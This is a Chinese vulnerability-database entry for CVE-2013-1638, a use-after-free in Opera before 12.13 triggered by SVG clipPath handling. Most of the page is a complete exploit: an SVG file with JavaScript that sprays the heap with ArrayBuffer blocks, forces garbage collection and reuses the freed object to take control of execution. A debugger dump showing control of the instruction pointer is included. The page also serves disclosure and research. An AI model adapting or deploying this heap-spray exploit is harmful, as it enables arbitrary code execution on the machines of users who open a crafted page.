Opera 代码注入漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1121523 漏洞类型 代码注入
发布时间 2013-02-05 更新时间 2013-02-18
CVE编号 CVE-2013-1638 CNNVD-ID CNNVD-201302-150
漏洞平台 Windows CVSS评分 9.3
|漏洞来源
https://www.exploit-db.com/exploits/24448
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-201302-150
|漏洞详情
Opera是挪威欧朋(OperaSoftware)公司所开发的一款Web浏览器,它支持多窗口浏览、可定制用户界面等。Opera12.13之前版本中存在漏洞。远程攻击者可通过SVG文档中特制的clipPaths利用该漏洞执行任意代码。
|漏洞EXP
<svg xmlns="http://www.w3.org/2000/svg"	xmlns:xlink="http://www.w0.org/1999/xlink">
<g id="group">
<defs>
    <clipPath id="clip-circle" clip-path="url(#clip-rect)">
    </clipPath>
     <clipPath id="clip-rect">
    </clipPath>
</defs>
<circle id="rect" x="10" y="10" width="100" height="100" fill="green" />
</g>
<script><![CDATA[ 

//Author=Cons0ul

var b = new Array();

// this is our spray function where spray is allocated on LFH with exact size 0x78 
// so 0x78 size of block is created so far we are creating 0x50000 blocks
// to create 0x78 blocks we are using ArrayBuffer();

function feng_shui(){

for(i=0;i<1000;i++)window.opera.collect(); // <----- garbage collection


	for(i=0;i<0x50000;i++){
		payload = new ArrayBuffer(0x78) // use 0xb0 for 64bit machine
		payload[0]=0x6c
		payload[1]=0x03
		payload[2]=0xfe
		payload[3]=0x7f
		b.push(payload)
	}
}


// bug is use after free in handling of (use tag + clippath) witch try to access freed object
// 

		document.getElementById('rect').setAttribute('clip-path',"url(#clip-circle)");
		var c = document.createElement('use');
		c.setAttribute("xlink:href","rect")
				
		feng_shui();
		document.getElementById('clip-rect').appendChild(c);
		document.getElementById('rect').style.clipPath="url(#clip-circle)" // <----- bug
		window.opera.collect() // <------ gc() frees the allocation
		feng_shui();	//   <------------ we allocate our code at freed memory
		// at the end it tries freed block witch contains our data
		window.location.href=window.location.href;


/*	  

idc !heap -p -a ecx

  address 077c45e0 found in
    _HEAP @ b40000
      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
        077c45d8 0010 0000  [00]   077c45e0    00078 - (free)



PS C:\Users\cons0ul> idc db ecx
077c45e0  92 48 fe 7f 00 00 00 00-00 00 00 00 00 00 00 00  .H..............
077c45f0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
077c4600  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
077c4610  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
077c4620  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
077c4630  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
077c4640  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
077c4650  00 00 00 00 00 00 00 00-89 d0 6a 5b 00 00 00 88  ..........j[....
PS C:\Users\cons0ul> idc r
eax=7ffe4892 ebx=00000001 ecx=077c45e0 edx=00000000 esi=0372e590 edi=01d40048
eip=6b8c998b esp=0013e334 ebp=00000000 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
Opera_6b430000!OpGetNextUninstallFile+0xf8583:
6b8c998b ff5008          call    dword ptr [eax+8]    ds:0023:7ffe489a=????????
*/

		]]></script>
</svg>
|参考资料

来源:www.opera.com
链接:http://www.opera.com/support/kb/view/1043/
来源:www.opera.com
链接:http://www.opera.com/docs/changelogs/unified/1213/
来源:SECUNIA
名称:52150
链接:http://secunia.com/advisories/52150